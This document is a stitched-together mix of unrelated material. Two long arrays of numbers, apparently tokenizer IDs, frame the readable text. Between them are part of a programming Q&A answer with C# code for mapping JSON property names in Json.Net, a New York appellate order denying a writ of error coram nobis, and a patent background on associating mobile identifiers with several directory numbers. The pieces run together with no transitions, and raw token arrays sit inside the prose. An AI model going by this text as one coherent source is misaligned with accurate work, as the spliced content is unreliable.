[ 187, 50262, 9739, 19805, 64, 39835, 64, 32969, 42410, 9739, 1163, 4890, 67, 606, 9739, 187, 50266, 94, 187, 50270, 62, 3664, 535, 50270, 2765, 29, 3220, 4947, 31, 1618, 426, 34124, 15566, 15, 4476, 44350, 4241, 29, 2765, 29, 3220, 4947, 5064, 9, 8456, 558, 535, 50270, 26966, 313, 3220, 4947, 278, 68, 275, 1618, 10, 187, 50270, 92, 187, 50266, 35184, 15, 33626, 9, 17475, 15, 3220, 8324, 558, 187, 50266, 35184, 15, 33626, 9, 17475, 15, 3220, 8665, 8324, 558, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 11021, 27, 187, 12110, 187, 2009, 187, 31953, 187, 371, 2310, 187, 71, 11114, 187, 67, 606, 187, 187, 6175, 436, 2900, 943, 513, 253, 2628, 275, 954, 2219, 13, 627, 310, 271, 1014, 19554, 2900, 604, 368, 403, 10826, 342, 253, 2934, 273, 6890, 253, 34124, 15, 8695, 2603, 2127, 3587, 15, 50276, 1147, 7819, 562, 368, 476, 14294, 253, 1072, 2181, 407, 6240, 816, 581, 1386, 273, 2127, 281, 253, 19608, 5530, 15, 17219, 15, 17299, 1320, 15, 17219, 8324, 16687, 966, 15, 50276, 688, 436, 966, 13, 627, 310, 247, 1332, 1925, 5057, 2019, 375, 383, 21008, 8324, 1082, 534, 4453, 751, 436, 27, 187, 4387, 34124, 8324, 5057, 2019, 375, 383, 21008, 8324, 9, 2703, 2867, 2402, 10, 187, 92, 187, 50274, 17219, 8324, 2867, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 558, 187, 50274, 338, 313, 9134, 2295, 3635, 10, 187, 50270, 9134, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 36142, 11247, 558, 535, 50274, 2309, 2867, 28, 187, 94, 187, 187, 3404, 253, 1127, 835, 436, 1332, 310, 1925, 407, 253, 711, 30941, 6081, 13, 253, 34124, 8324, 16687, 4428, 512, 253, 3607, 432, 253, 966, 1146, 711, 30941, 1025, 13, 285, 253, 2867, 2402, 4764, 4428, 253, 1416, 273, 253, 13922, 2867, 1416, 1146, 13373, 15, 50276, 1909, 368, 476, 923, 13, 253, 1332, 806, 14177, 271, 3242, 1416, 3761, 13, 840, 352, 14177, 247, 1083, 14, 968, 18917, 3761, 15, 50276, 2598, 359, 2168, 452, 247, 1142, 14, 936, 14, 531, 10603, 1146, 2218, 875, 253, 13922, 285, 966, 2867, 4454, 15, 50276, 187, 2042, 368, 10007, 436, 1332, 281, 11705, 562, 512, 1327, 14, 267, 15671, 360, 6555, 5810, 432, 253, 2867, 1416, 2720, 281, 11038, 352, 13, 840, 368, 476, 755, 253, 3879, 368, 8327, 13, 1293, 667, 2714, 5975, 1336, 390, 12474, 3058, 15, 50276, 4943, 310, 253, 7321, 2127, 27, 187, 4387, 34124, 8324, 5057, 2019, 375, 383, 21008, 8324, 9, 2703, 2867, 2402, 10, 187, 92, 187, 50274, 9134, 2402, 426, 1720, 12631, 15, 34435, 9, 9134, 2402, 13, 346, 5180, 34, 14, 49275, 14, 91, 17, 14, 26, 20871, 995, 346, 3287, 187, 50274, 17219, 8324, 2867, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 558, 187, 50274, 338, 313, 9134, 2295, 3635, 10, 187, 50270, 9134, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 36142, 11247, 558, 535, 50274, 2309, 2867, 28, 187, 94, 187, 187, 4527, 2282, 13, 26264, 253, 2603, 2127, 556, 697, 3237, 347, 973, 13, 533, 309, 15433, 352, 369, 4409, 247, 3748, 15, 187, 187, 34, 27, 187, 187, 8195, 1039, 273, 7576, 3647, 436, 310, 22548, 272, 253, 10382, 1320, 16, 3229, 30941, 1320, 1232, 2393, 13, 407, 2509, 690, 17797, 1487, 253, 34124, 15283, 285, 34124, 16978, 187, 4387, 966, 12047, 17219, 16978, 1163, 34124, 4312, 16978, 187, 92, 187, 50274, 9486, 30261, 26372, 29, 2703, 13, 2876, 31, 795, 2135, 1034, 46, 33650, 28, 535, 50274, 4387, 12047, 17219, 16978, 9, 4312, 16978, 8406, 13, 26372, 29, 2703, 13, 2876, 31, 19265, 46, 33650, 10, 187, 50270, 27, 2613, 9, 16360, 10, 187, 50274, 92, 187, 50270, 64, 2135, 1034, 46, 33650, 426, 19265, 46, 33650, 28, 187, 50274, 94, 535, 50274, 4387, 12970, 2991, 19566, 8324, 2402, 9, 2703, 1416, 10, 187, 50274, 92, 187, 50270, 4793, 15, 10639, 8324, 2402, 10107, 2135, 1034, 46, 33650, 60, 1590, 9259, 187, 50274, 94, 187, 94, 187, 187, 4387, 966, 12047, 17219, 15283, 1163, 34124, 4312, 15283, 187, 92, 187, 50274, 9486, 30261, 26372, 29, 2703, 13, 2876, 31, 795, 10495, 46, 33650, 28, 535, 50274, 4387, 12047, 17219, 15283, 9, 4312, 15283, 9414, 13, 26372, 29, 2703, 13, 2876, 31, 3579, 46, 33650, 2387, 187, 50270, 27, 2613, 9, 28011, 10, 187, 50274, 92, 187, 50270, 64, 10495, 46, 33650, 426, 3579, 46, 33650, 28, 187, 50274, 94, 535, 50274, 4387, 12970, 1789, 11740, 187, 50274, 92, 187, 50270, 788, 187, 50270, 92, 187, 50266, 338, 313, 11200, 2548, 3613, 34124, 11200, 15, 8324, 2402, 10, 187, 50262, 2309, 2613, 15, 3902, 28, 535, 50266, 2309, 795, 10495, 46, 33650, 60, 4793, 15, 3902, 15, 21395, 1082, 2194, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 4553, 2509, 436, 13, 368, 476, 10382, 907, 407, 2509, 187, 2044, 42794, 426, 747, 26372, 29, 2703, 13, 2876, 31, 187, 92, 187, 50274, 9819, 8324, 18, 995, 346, 7008, 22809, 18, 4982, 187, 50274, 9819, 8324, 19, 995, 346, 7008, 22809, 19, 4982, 187, 4718, 187, 2044, 22074, 426, 747, 50233, 1874, 187, 17219, 31703, 15, 9395, 5023, 6075, 14531, 9, 1826, 12047, 17219, 16978, 9, 1826, 4605, 16978, 9, 27136, 582, 42794, 582, 634, 64, 6082, 558, 187, 187, 395, 711, 44350, 407, 2509, 209, 187, 2044, 42794, 426, 747, 26372, 29, 2703, 13, 2876, 31, 187, 92, 187, 50274, 9819, 7008, 22809, 18, 995, 346, 8324, 18, 4982, 187, 50274, 9819, 7008, 22809, 19, 995, 346, 8324, 19, 4982, 187, 4718, 187, 2044, 40377, 15283, 426, 747, 12047, 17219, 15283, 9, 1826, 4605, 15283, 9, 8456, 2776, 582, 42794, 558, 187, 2044, 634, 64, 6082, 426, 34124, 31703, 15, 9395, 5023, 4476, 44350, 29, 7093, 64, 2548, 8743, 10134, 15283, 558, 535, 4888, 187, 8836, 362, 418, 47989, 9609, 79, 313, 6961, 10310, 7335, 532, 12605, 470, 1619, 3712, 10, 15971, 4888, 535, 187, 8836, 362, 418, 47989, 9609, 79, 535, 187, 6961, 10310, 7335, 532, 12605, 470, 1619, 3712, 535, 187, 34038, 327, 4162, 2145, 13, 4022, 535, 187, 2946, 23769, 9333, 13, 6347, 4487, 535, 187, 32963, 407, 1457, 2816, 2418, 5405, 40283, 15904, 10376, 281, 42591, 5405, 3015, 37397, 15, 535, 187, 1552, 4743, 310, 41656, 18685, 285, 2256, 281, 18520, 1078, 9311, 275, 253, 23607, 27241, 15, 2756, 190, 187, 34038, 327, 4162, 2145, 13, 4022, 190, 187, 6971, 14364, 5288, 14732, 3481, 3003, 26090, 3481, 22428, 44138, 190, 187, 2946, 23769, 9333, 13, 6347, 32665, 4487, 4888, 187, 45, 15, 4653, 1830, 7142, 2293, 34, 388, 5626, 13, 500, 15, 49, 15, 190, 187, 1843, 1139, 10449, 378, 15, 329, 11533, 1042, 190, 187, 51, 9324, 6366, 500, 15, 353, 10592, 947, 190, 187, 14305, 17173, 5236, 473, 15, 388, 1042, 5942, 14, 42318, 10569, 13, 25544, 15, 15971, 187, 7857, 14, 12971, 1619, 2379, 313, 8207, 15, 1621, 15, 721, 27820, 16, 2904, 10, 4888, 187, 20197, 18, 62, 510, 6491, 273, 253, 2418, 273, 1457, 2816, 13, 15587, 13, 20434, 187, 87, 13238, 12679, 418, 47989, 9609, 79, 13, 7048, 15, 190, 535, 187, 13238, 12679, 418, 47989, 9609, 79, 13, 9916, 19901, 13, 10310, 13, 7048, 354, 396, 15, 187, 45395, 678, 367, 15, 16647, 13, 4412, 10158, 13, 21249, 13, 10310, 313, 44514, 472, 21591, 26617, 285, 24035, 399, 24361, 273, 5067, 582, 323, 15587, 15, 187, 45, 38051, 411, 15, 418, 15, 15404, 26512, 13, 1457, 2816, 13, 10310, 313, 40805, 367, 677, 2788, 23187, 273, 5067, 582, 3438, 16939, 5067, 15, 187, 187, 34246, 34316, 708, 19140, 187, 12332, 407, 253, 7048, 323, 247, 2416, 273, 2228, 944, 312, 642, 24000, 281, 33085, 13, 327, 253, 3216, 273, 18860, 8385, 273, 16939, 5067, 13, 247, 3061, 285, 1340, 273, 436, 2111, 15483, 4565, 608, 13, 4050, 313, 8836, 362, 418, 47989, 9609, 79, 13, 8437, 5446, 20, 69, 818, 3712, 582, 8925, 271, 4549, 432, 247, 3883, 273, 253, 6413, 2111, 13, 20567, 3928, 13, 13697, 4437, 3307, 13, 4748, 15, 187, 24066, 1703, 326, 253, 2898, 310, 5868, 15, 187, 510, 7048, 556, 4242, 281, 5100, 326, 344, 369, 5868, 253, 3576, 8385, 273, 16939, 5067, 313, 2887, 8302, 362, 28852, 13, 41368, 1982, 818, 1857, 28, 6491, 362, 659, 38085, 13, 374, 10310, 20, 69, 28043, 481, 187, 41, 5626, 13, 500, 15, 49, 904, 329, 11533, 1042, 13, 353, 10592, 947, 285, 388, 1042, 5942, 14, 42318, 10569, 13, 25544, 904, 15038, 15, 190, 187, 37389, 27, 190, 187, 19591, 17416, 3419, 493, 2610, 187, 2019, 9314, 273, 253, 2111, 2756, 510, 3688, 7033, 281, 11744, 39063, 13, 285, 13, 625, 3782, 13, 281, 253, 5864, 875, 247, 6109, 4660, 285, 9617, 3904, 15, 187, 510, 897, 273, 6109, 39063, 2718, 13, 1690, 7842, 4014, 15791, 285, 3367, 10924, 3238, 313, 5077, 52, 582, 556, 2326, 26660, 3116, 13, 3782, 275, 253, 2469, 9976, 15, 380, 897, 273, 6109, 13, 390, 7842, 13, 4014, 15791, 556, 2489, 594, 47817, 326, 352, 310, 417, 11555, 281, 923, 952, 5636, 272, 327, 253, 11265, 347, 597, 2940, 2112, 253, 33619, 13, 347, 597, 4446, 13, 1014, 347, 597, 8041, 247, 12699, 390, 247, 1132, 15, 187, 1773, 26743, 6109, 39063, 3238, 2126, 247, 6109, 8137, 1180, 313, 17258, 10, 323, 19676, 13, 323, 15056, 13, 285, 323, 1142, 643, 5871, 15, 1723, 13, 253, 6109, 8137, 1180, 556, 11464, 18766, 323, 11762, 4893, 15, 13162, 13, 2718, 403, 1146, 3715, 534, 2126, 271, 5213, 6109, 30710, 6489, 313, 2894, 5824, 10, 326, 588, 1581, 6109, 39063, 4095, 281, 10196, 22595, 13102, 4768, 253, 1533, 15, 2058, 690, 1127, 13, 672, 309, 3338, 42, 4095, 403, 5611, 627, 588, 320, 247, 5878, 273, 4095, 6498, 275, 253, 1673, 28, 690, 6109, 4095, 588, 2126, 247, 6109, 8137, 1180, 13, 690, 588, 2126, 271, 5213, 6109, 30710, 6489, 326, 310, 1754, 327, 247, 625, 6041, 6109, 8137, 1180, 13, 285, 690, 588, 2126, 12762, 19, 89, 1438, 89, 26, 7693, 459, 7096, 19, 89, 1438, 89, 26, 69, 309, 3338, 42, 3904, 15, 187, 10457, 253, 1232, 273, 14631, 13, 390, 12762, 19, 89, 1438, 89, 26, 291, 693, 8779, 247, 11265, 1067, 313, 4609, 778, 6388, 253, 6322, 273, 4318, 13, 941, 13, 390, 1097, 10, 326, 8687, 247, 6109, 4660, 13, 247, 11744, 985, 26624, 247, 9617, 1180, 342, 253, 21674, 313, 17258, 390, 309, 3338, 42, 481, 329, 6041, 11744, 985, 778, 4657, 253, 6109, 3943, 9739, 84, 8137, 16, 26758, 1180, 5864, 1491, 275, 253, 6109, 3943, 9739, 84, 1728, 4328, 8749, 313, 41, 8720, 481, 7214, 581, 9617, 1180, 310, 2330, 342, 247, 1677, 6109, 21674, 15, 831, 12400, 7787, 253, 15840, 342, 534, 247, 6109, 3943, 778, 320, 908, 285, 7787, 253, 2491, 273, 3238, 247, 6109, 39063, 2579, 11716, 778, 3959, 281, 271, 990, 14, 4537, 15, 187, 34, 6109, 39063, 985, 275, 8956, 342, 253, 9241, 273, 253, 1246, 3688, 3797, 5447, 12028, 326, 15629, 253, 21674, 273, 247, 6109, 3943, 13, 534, 812, 320, 247, 7842, 11265, 390, 247, 3367, 10924, 2579, 313, 5077, 52, 10, 2813, 13, 342, 247, 11234, 273, 9617, 3904, 15, 380, 6109, 3943, 21674, 778, 320, 247, 6109, 8137, 1180, 313, 17258, 10, 390, 5213, 6109, 2579, 21674, 313, 2894, 5824, 582, 323, 1650, 15, 380, 985, 778, 4657, 436, 5864, 1561, 247, 1728, 4328, 8749, 313, 41, 8720, 582, 1561, 247, 6109, 12797, 4055, 313, 31014, 582, 390, 275, 1097, 15, 496, 253, 1232, 273, 38915, 247, 11265, 1067, 253, 985, 27532, 25702, 1491, 281, 3653, 534, 273, 253, 11234, 273, 9617, 3904, 2330, 342, 253, 6109, 3943, 9739, 84, 6109, 21674, 310, 281, 320, 7091, 323, 253, 6378, 273, 253, 11265, 1067, 1146, 19344, 15, 380, 25702, 1491, 778, 320, 253, 1655, 4328, 273, 253, 6109, 3943, 13, 323, 1650, 15, 496, 824, 271, 14704, 13, 581, 9617, 1180, 778, 320, 7091, 281, 24174, 247, 11265, 1067, 1561, 581, 23365, 2170, 13, 1529, 9617, 1180, 778, 320, 7091, 281, 24174, 247, 11265, 1067, 1561, 247, 1027, 23365, 2170, 13, 285, 594, 327, 15, 13773, 3238, 285, 7911, 778, 840, 320, 2330, 342, 1016, 9617, 1180, 13, 285, 13, 21719, 13, 342, 25702, 1491, 13, 824, 347, 253 ]

""MY_OTHER_PROPERTY"" : ""bang"" } ]"; List<MyClass> list = JsonConvert.DeserializeObject<List<MyClass>>(json); foreach (MyClass mc in list) { Console.WriteLine(mc.MyProperty); Console.WriteLine(mc.MyOtherProperty); } } } Output: foo bar baz quux fizz bang While this solution should do the job in most cases, there is an even simpler solution if you are OK with the idea of changing the Json.Net source code directly. It turns out you can accomplish the same thing by adding just one line of code to the Newtonsoft.Json.Serialization.JsonPropertyCollection class. In this class, there is a method called GetClosestMatchProperty() which looks like this: public JsonProperty GetClosestMatchProperty(string propertyName) { JsonProperty property = GetProperty(propertyName, StringComparison.Ordinal); if (property == null) property = GetProperty(propertyName, StringComparison.OrdinalIgnoreCase); return property; } At the point where this method is called by the deserializer, the JsonPropertyCollection contains all the properties from the class being deserialized, and the propertyName parameter contains the name of the JSON property name being matched. As you can see, the method first tries an exact name match, then it tries a case-insensitive match. So we already have a many-to-one mapping being done between the JSON and class property names. If you modify this method to strip out all non-alphanumeric characters from the property name prior to matching it, then you can get the behavior you desire, without any special converters or attributes needed. Here is the modified code: public JsonProperty GetClosestMatchProperty(string propertyName) { propertyName = Regex.Replace(propertyName, "[^A-Za-z0-9]+", ""); JsonProperty property = GetProperty(propertyName, StringComparison.Ordinal); if (property == null) property = GetProperty(propertyName, StringComparison.OrdinalIgnoreCase); return property; } Of course, modifying the source code has its problems as well, but I figured it was worth a mention. A: Another way of accomplishing this is intercepting the serialization/deserialization process early, by doing some overrides the JsonReader and JsonWriter public class CustomJsonWriter : JsonTextWriter { private readonly Dictionary<string, string> _backwardMappings; public CustomJsonWriter(TextWriter writer, Dictionary<string, string> backwardMappings) : base(writer) { _backwardMappings = backwardMappings; } public override void WritePropertyName(string name) { base.WritePropertyName(_backwardMappings[name]); } } public class CustomJsonReader : JsonTextReader { private readonly Dictionary<string, string> _forwardMappings; public CustomJsonReader(TextReader reader, Dictionary<string, string> forwardMappings ) : base(reader) { _forwardMappings = forwardMappings; } public override object Value { get { if (TokenType!= JsonToken.PropertyName) return base.Value; return _forwardMappings[base.Value.ToString()]; } } } After doing this, you can serialize by doing var mappings = new Dictionary<string, string> { {"Property1", "Equivalent1"}, {"Property2", "Equivalent2"}, }; var builder = new StringBuilder(); JsonSerializer.Create().Serialize(new CustomJsonWriter(new StringWriter(builder), mappings), your_object); and deserialize by doing var mappings = new Dictionary<string, string> { {"Equivalent1", "Property1"}, {"Equivalent2", "Property2"}, }; var txtReader = new CustomJsonReader(new StringReader(jsonString), mappings); var your_object = JsonSerializer.Create().Deserialize<Your_Type>(txtReader); People v Llewellyn (2016 NY Slip Op 02851) People v Llewellyn 2016 NY Slip Op 02851 Decided on April 13, 2016 Appellate Division, Second Department Published by New York State Law Reporting Bureau pursuant to Judiciary Law § 431. This opinion is uncorrected and subject to revision before publication in the Official Reports. Decided on April 13, 2016 SUPREME COURT OF THE STATE OF NEW YORK Appellate Division, Second Judicial Department L. PRISCILLA HALL, J.P. LEONARD B. AUSTIN ROBERT J. MILLER SYLVIA O. HINDS-RADIX, JJ. 2009-10628 (Ind. No. 6809/08) [*1]The People of the State of New York, respondent, vChristopher Llewellyn, appellant. Christopher Llewellyn, Romulus, NY, appellant pro se. Kenneth P. Thompson, District Attorney, Brooklyn, NY (Leonard Joblove and Keith Dolan of counsel), for respondent. Lynn W. L. Fahey, New York, NY (Anna Pervukhin of counsel), former appellate counsel. DECISION & ORDER Application by the appellant for a writ of error coram nobis to vacate, on the ground of ineffective assistance of appellate counsel, a decision and order of this Court dated December 5, 2012 (People v Llewellyn, 101 AD3d 751), determining an appeal from a judgment of the Supreme Court, Kings County, rendered October 22, 2009. ORDERED that the application is denied. The appellant has failed to establish that he was denied the effective assistance of appellate counsel (see Jones v Barnes, 463 US 745; People v Stultz, 2 NY3d 277). HALL, J.P., AUSTIN, MILLER and HINDS-RADIX, JJ., concur. ENTER: Aprilanne Agostino Clerk of the Court The invention relates to wireless telecommunications, and, more particularly, to the association between a mobile station and directory numbers. The use of mobile telecommunications systems, including cellular telephones and personal communications services (PCS), has seen explosive growth, particularly in the past decade. The use of mobile, or cellular, telephones has become so commonplace that it is not unusual to see people conversing on the telephone as they walk along the sidewalk, as they drive, even as they attend a concert or a play. Conventional mobile telecommunications services employ a mobile identification number (MIN) for authentication, for termination, and for many other operations. However, the mobile identification number has proven inadequate for worldwide applications. Consequently, systems are being developed which employ an international mobile subscriber identity (IMSI) that will allow mobile telecommunications devices to operate seamlessly throughout the world. At some point, when IMSI devices are introduced there will be a mix of devices operating in the field; some mobile devices will employ a mobile identification number, some will employ an international mobile subscriber identity that is based on a more conventional mobile identification number, and some will employ xe2x80x9cpurexe2x80x9d IMSI numbers. During the process of establishing, or xe2x80x9cterminating a telephone call (which may involve the transmission of voice, data, or both) that involves a mobile station, a wireless system associates a directory number with the identifier (MIN or IMSI). A conventional wireless system may store the mobile unit""s identification/directory number association information in the mobile unit""s home location register (HLR). Only one directory number is associated with a given mobile identifier. This restriction limits the flexibility with which a mobile unit may be used and limits the range of services a mobile telecommunications service provider may offer to an end-user. A mobile telecommunications system in accordance with the principles of the present invention includes database entries that associate the identifier of a mobile unit, which could be a cellular telephone or a personal communications service (PCS) device, with a plurality of directory numbers. The mobile unit identifier may be a mobile identification number (MIN) or international mobile service identifier (IMSI), for example. The system may store this association within a home location register (HLR), within a mobile switching center (MSC), or in both. In the process of terminating a telephone call the system employs supplemental information to determine which of the plurality of directory numbers associated with the mobile unit""s mobile identifier is to be employed for the purposes of the telephone call being terminated. The supplemental information may be the current location of the mobile unit, for example. In such an embodiment, one directory number may be employed to terminate a telephone call within one geographic area, another directory number may be employed to terminate a telephone call within a different geographic area, and so on. Different services and prices may then be associated with each directory number, and, indirectly, with supplemental information, such as the

[ 13, 795, 19537, 11151, 64, 7922, 247, 24996, 281, 564, 281, 14656, 763, 15, 43871, 314, 2217, 13, 327, 253, 1388, 253, 24996, 369, 627, 13, 344, 6337, 2439, 322, 4052, 254, 987, 1977, 347, 322, 4052, 254, 369, 7824, 2112, 253, 3971, 2822, 521, 2419, 342, 521, 6122, 13, 665, 369, 840, 1740, 285, 247, 2716, 1107, 1711, 15, 380, 24996, 13781, 322, 4052, 254, 13, 665, 369, 594, 30405, 253, 24996, 3543, 439, 3163, 715, 7746, 779, 2139, 344, 369, 275, 14656, 763, 1128, 936, 1379, 247, 5406, 273, 779, 323, 795, 19537, 11151, 3333, 322, 4052, 254, 35891, 253, 24996, 323, 417, 2820, 281, 346, 84, 570, 518, 3, 247, 5406, 28, 840, 344, 753, 281, 779, 247, 1386, 326, 369, 6326, 281, 5513, 2139, 344, 574, 3531, 715, 253, 43834, 2327, 344, 369, 15, 346, 3220, 1332, 273, 789, 310, 824, 326, 667, 38205, 12326, 479, 745, 937, 322, 4052, 254, 753, 15, 346, 42, 476, 626, 452, 619, 5406, 2668, 390, 452, 271, 4572, 1919, 309, 1849, 6312, 752, 309, 1849, 873, 562, 281, 513, 449, 187, 187, 1276, 4555, 322, 4052, 254, 5486, 407, 326, 4385, 369, 12744, 15, 1737, 795, 4238, 64, 2590, 369, 436, 27, 12369, 390, 417, 521, 21546, 3212, 7552, 247, 43834, 2327, 497, 6313, 13, 253, 625, 322, 4052, 254, 753, 344, 1904, 626, 971, 667, 2315, 7031, 13, 253, 625, 253, 3420, 3078, 281, 3835, 779, 15, 329, 2969, 4473, 778, 452, 644, 387, 789, 1060, 27, 1310, 581, 8599, 247, 1436, 344, 476, 626, 871, 670, 1633, 13, 253, 1436, 760, 5605, 281, 871, 670, 352, 625, 15, 1623, 690, 1268, 13, 840, 13, 253, 1345, 369, 6110, 275, 322, 4052, 254, 795, 12157, 64, 344, 1904, 626, 971, 731, 281, 871, 2712, 670, 779, 15, 1893, 407, 2509, 2717, 1128, 26142, 533, 10156, 6832, 13483, 273, 5098, 1128, 52, 4052, 254, 574, 2489, 253, 2256, 273, 247, 6222, 275, 581, 273, 253, 2586, 434, 767, 2201, 747, 3610, 356, 20532, 15, 1284, 352, 3531, 562, 13, 352, 369, 816, 253, 5068, 273, 253, 2315, 4116, 322, 4052, 254, 651, 4763, 689, 253, 1735, 807, 390, 594, 15, 1198, 271, 2488, 665, 1904, 626, 971, 281, 320, 3542, 670, 13, 1643, 4477, 651, 320, 3542, 670, 625, 15, 187, 187, 19, 187, 187, 510, 1107, 21054, 285, 20208, 651, 1616, 253, 1029, 1127, 273, 322, 4052, 254, 434, 5249, 281, 3522, 15, 2896, 2393, 21054, 13, 795, 510, 12441, 5316, 275, 253, 416, 6683, 64, 574, 4211, 337, 15, 1099, 3041, 10125, 1128, 266, 35240, 10671, 323, 247, 4092, 4460, 670, 247, 29386, 5006, 434, 3551, 14, 1171, 14, 486, 15, 831, 5486, 253, 4460, 369, 10156, 689, 2233, 13, 933, 10125, 247, 807, 15, 4683, 2282, 13, 954, 273, 253, 6224, 7369, 432, 253, 4460, 7552, 247, 37891, 273, 4361, 10894, 275, 24267, 285, 3765, 6629, 285, 432, 9835, 4383, 20036, 2403, 322, 4052, 254, 581, 273, 253, 13399, 4477, 36760, 497, 3192, 10369, 15, 1707, 497, 643, 18172, 273, 322, 4052, 254, 434, 4549, 15, 1198, 1650, 13, 594, 1142, 7458, 574, 3542, 281, 253, 795, 4257, 48215, 64, 323, 10125, 273, 896, 3374, 4508, 322, 4052, 254, 434, 6281, 326, 253, 11338, 434, 6186, 273, 1110, 3374, 369, 20802, 15, 187, 187, 8457, 273, 436, 2323, 13, 984, 273, 253, 2256, 2647, 273, 521, 14459, 13, 285, 984, 344, 574, 6777, 281, 3153, 521, 1495, 275, 396, 3444, 13, 247, 13691, 369, 5675, 1475, 322, 4052, 254, 15, 35290, 641, 18748, 949, 521, 2133, 273, 7458, 347, 581, 2183, 1529, 752, 369, 1146, 753, 670, 779, 15, 2596, 44412, 574, 322, 4052, 254, 16920, 247, 4366, 327, 253, 16950, 249, 4450, 275, 253, 14145, 273, 253, 795, 4257, 48215, 8291, 7004, 323, 271, 10230, 275, 247, 346, 40748, 27235, 9168, 449, 8035, 574, 779, 285, 31231, 13, 594, 1199, 751, 1879, 10059, 8791, 13, 1469, 715, 15114, 13, 835, 597, 651, 1790, 29387, 387, 616, 2829, 4886, 616, 11233, 533, 417, 8288, 13, 347, 604, 597, 497, 3590, 13102, 278, 276, 1597, 253, 7670, 45358, 15, 187, 187, 6872, 285, 643, 28718, 497, 9713, 275, 271, 3929, 3542, 407, 12824, 24986, 1216, 326, 5420, 275, 253, 795, 4257, 2816, 5779, 64, 327, 4162, 1884, 13, 21054, 15, 380, 5313, 369, 247, 956, 14, 484, 281, 253, 795, 19537, 11151, 64, 3929, 326, 6337, 253, 807, 1078, 13, 285, 352, 8131, 752, 369, 1469, 281, 5108, 672, 322, 4052, 254, 3863, 521, 747, 1984, 15, 496, 521, 3929, 24986, 1216, 5393, 816, 690, 273, 253, 952, 344, 574, 13781, 665, 651, 417, 2312, 670, 322, 4052, 254, 15, 2058, 253, 795, 4257, 48215, 8291, 7252, 46600, 753, 13, 346, 52, 4052, 254, 3365, 1057, 417, 971, 281, 320, 3542, 670, 937, 1223, 271, 45937, 387, 253, 29271, 38273, 13677, 753, 13, 346, 1552, 637, 5605, 521, 11068, 449, 31565, 13, 24986, 1216, 3597, 281, 6848, 690, 3300, 29993, 273, 247, 22946, 273, 322, 4052, 254, 13, 1014, 2167, 642, 581, 13, 417, 1014, 322, 4052, 254, 434, 15833, 275, 14656, 763, 13, 651, 2312, 281, 779, 327, 390, 745, 253, 1924, 15, 44943, 13, 253, 22946, 24986, 1216, 16264, 369, 23211, 90, 27, 322, 4052, 254, 6940, 327, 581, 4289, 20046, 275, 247, 2620, 14, 4461, 2419, 4158, 407, 253, 6805, 285, 17481, 263, 48088, 11877, 14, 40, 5353, 561, 13, 665, 369, 8530, 323, 6153, 253, 23957, 273, 24958, 15915, 326, 574, 24628, 11797, 253, 4007, 434, 27672, 275, 5041, 13, 399, 15, 36, 15, 6618, 327, 247, 13599, 37159, 253, 20973, 7121, 285, 253, 6115, 28214, 275, 27751, 13, 253, 2419, 4455, 7445, 323, 322, 4052, 254, 434, 2021, 1128, 2019, 10723, 13, 1024, 6818, 14, 23587, 28, 49567, 13, 2620, 28, 285, 18322, 13, 15342, 2607, 15, 322, 4052, 254, 11719, 11612, 3874, 12225, 342, 521, 4475, 13, 24986, 1216, 753, 13, 533, 6571, 752, 344, 858, 13, 253, 581, 2181, 344, 7636, 281, 513, 625, 685, 2712, 2010, 13, 369, 3630, 15, 187, 187, 4553, 253, 8511, 412, 4123, 689, 24986, 1216, 434, 795, 8983, 64, 5313, 4962, 1066, 13, 322, 4052, 254, 5262, 253, 5768, 13, 672, 344, 369, 417, 2444, 327, 747, 2144, 13, 2970, 4704, 323, 253, 9311, 273, 521, 1735, 1984, 15, 322, 4052, 254, 574, 4425, 281, 1379, 767, 7437, 273, 14459, 326, 574, 5420, 275, 253, 795, 4257, 48215, 8291, 1691, 731, 2366, 13, 285, 3727, 731, 347, 247, 1984, 327, 616, 1211, 15, 380, 7437, 344, 574, 6777, 497, 2905, 275, 326, 597, 1097, 18445, 342, 253, 23219, 2021, 13, 2596, 369, 346, 4604, 10059, 937, 534, 369, 1335, 1146, 5469, 1014, 2167, 352, 574, 5420, 275, 253, 11338, 1107, 3622, 13, 285, 346, 59, 3288, 2653, 937, 534, 4455, 281, 322, 4052, 254, 281, 320, 253, 3962, 16866, 5313, 15, 380, 1984, 13, 281, 320, 1925, 3365, 795, 4604, 10059, 285, 41117, 2653, 8291, 369, 4211, 407, 8937, 272, 281, 11573, 13, 7233, 13, 665, 11526, 352, 323, 3727, 275, 253, 2393, 2965, 273, 21054, 15, 187, 187, 26021, 35827, 253, 305, 4781, 656, 323, 253, 1984, 13, 322, 4052, 254, 2686, 574, 1077, 1652, 281, 513, 281, 10347, 323, 253, 1984, 434, 9311, 15, 831, 369, 2032, 984, 273, 2176, 3216, 4803, 344, 574, 14048, 1066, 281, 253, 19600, 15, 1707, 651, 320, 642, 7170, 29957, 323, 253, 1984, 15, 1707, 651, 320, 247, 2969, 285, 762, 33834, 1445, 2216, 323, 253, 1984, 13, 3738, 322, 4052, 254, 651, 2085, 247, 4864, 3908, 670, 253, 2505, 28, 436, 3061, 3139, 369, 247, 18230, 1580, 322, 4052, 254, 574, 8927, 753, 344, 651, 3630, 247, 337, 13, 933, 14, 3418, 10199, 281, 253, 1984, 533, 840, 4391, 521, 2564, 15, 1707, 651, 320, 642, 7170, 7289, 273, 253, 1984, 281, 15202, 390, 667, 2074, 19564, 15, 496, 643, 3000, 795, 4604, 10059, 285, 41117, 2653, 64, 651, 320, 6808, 342, 347, 1652, 7989, 17937, 347, 1896, 15, 380, 19600, 651, 7960, 6215, 253, 1984, 281, 10111, 13, 285, 1110, 10668, 665, 3078, 281, 651, 4489, 352, 15, 187, 187, 510, 9311, 3522, 323, 795, 4604, 10059, 285, 41117, 2653, 64, 369, 873, 323, 4397, 1638, 15, 2091, 10668, 858, 4489, 253, 1984, 1128, 9312, 13, 933, 10125, 497, 4211, 275, 697, 806, 767, 3618, 273, 3727, 3815, 1128, 9328, 6888, 13, 16280, 346, 4604, 10059, 3, 285, 346, 59, 3288, 2653, 937, 767, 747, 7437, 273, 4028, 407, 322, 4052, 254, 15, 2596, 369, 253, 1984, 434, 31768, 13, 342, 247, 3806, 281, 521, 807, 14, 744, 3347, 285, 247, 40572, 451, 281, 521, 795, 4257, 48215, 64, 8121, 13, 7252, 46600, 15, 346, 